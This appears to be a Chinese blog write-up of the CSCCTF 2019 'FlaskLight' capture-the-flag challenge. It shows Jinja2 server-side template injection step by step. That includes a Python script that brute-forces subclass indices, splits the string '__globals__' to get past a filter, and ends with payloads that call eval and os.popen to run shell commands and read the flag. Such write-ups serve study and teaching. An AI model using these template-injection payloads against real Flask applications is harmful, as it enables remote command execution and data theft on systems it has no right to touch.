[CSCCTF 2019 Qual]FlaskLight

复现地址:http://dbb0acbe-a883-46e3-8b33-c583ca701d95.node4.buuoj.cn:81/

一直对Flask注入不是很了解,所以写一篇文章记录一下

分析过程

首先看到题目是FlaskLight,大概率是Flask框架的ssti注入,查看源代码
在这里插入图片描述
有注释提醒,使用get传参search,/?search={{7*7}}
页面回显49,证明存在ssti注入,查看下config配置文件,一般简单的题就能直接看到Flag

/?search={{config}}

没有看到关于Flag的相关内容,于是尝试使用魔术方法进行命令执行,附上python的魔术方法:

__dict__:保存类实例或对象实例的属性变量键值对字典
__class__:返回调用的参数类型
__mro__:返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__bases__:返回类型列表
__subclasses__:返回object的子类
__init__:类的初始化方法
__globals__:函数会以字典类型返回当前位置的全部全局变量 与 func_globals 等价

其中__mro__和__bases__都可用来找基类,我这里使用__basses__

/?search={{().__class__.__bases__}}
//这里再附上其他几种获取的方法,以防被过滤时使用
''.__class__.__mro__[2]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[8] //针对jinjia2/flask为[9]适用

回显只有一个(<type ‘object’>,),于是尝试获取子类

/?search={{().__class__.__bases__[0].__subclasses__}}

可以看到回显了非常多的数据,
在这里插入图片描述
我们再这个里面找到可以进行命令执行的函数,查看其引用 builtins

Python 程序一旦启动,它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于 builtins 却不用导入,它在任何模块都直接可见,所以这里直接调用引用的模块。使用python脚本获取:

import requests

url = 'http://dbb0acbe-a883-46e3-8b33-c583ca701d95.node4.buuoj.cn:81'
for i in range(1, 100):
    payload = "/?search={{().__class__.__bases__[0].__subclasses__()["+str(i)+"].__init__['__glo'+'bals__']}}"
    #因为globals被拦截了,所以采用拼接的方式
    newurl = url + payload
    res = requests.get(url=newurl + payload)
    if 'builtins' in res.text:
        print(newurl)
    else:
        pass

运行结果如下,任意选一个即可进行命令执行
在这里插入图片描述

/?search={{().__class__.__bases__[0].__subclasses__()[71].__init__['__glo'+'bals__']['__builtins__']['eval']('__import__("os").popen("ls").read()')}}
/?search={{().__class__.__bases__[0].__subclasses__()[71].__init__['__glo'+'bals__']['__builtins__']['eval']('__import__("os").popen("ls /flasklight").read()')}}

发现存在二个文件,逐个读取,在coomme_geeeett_youur_flek 中读取到flag

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值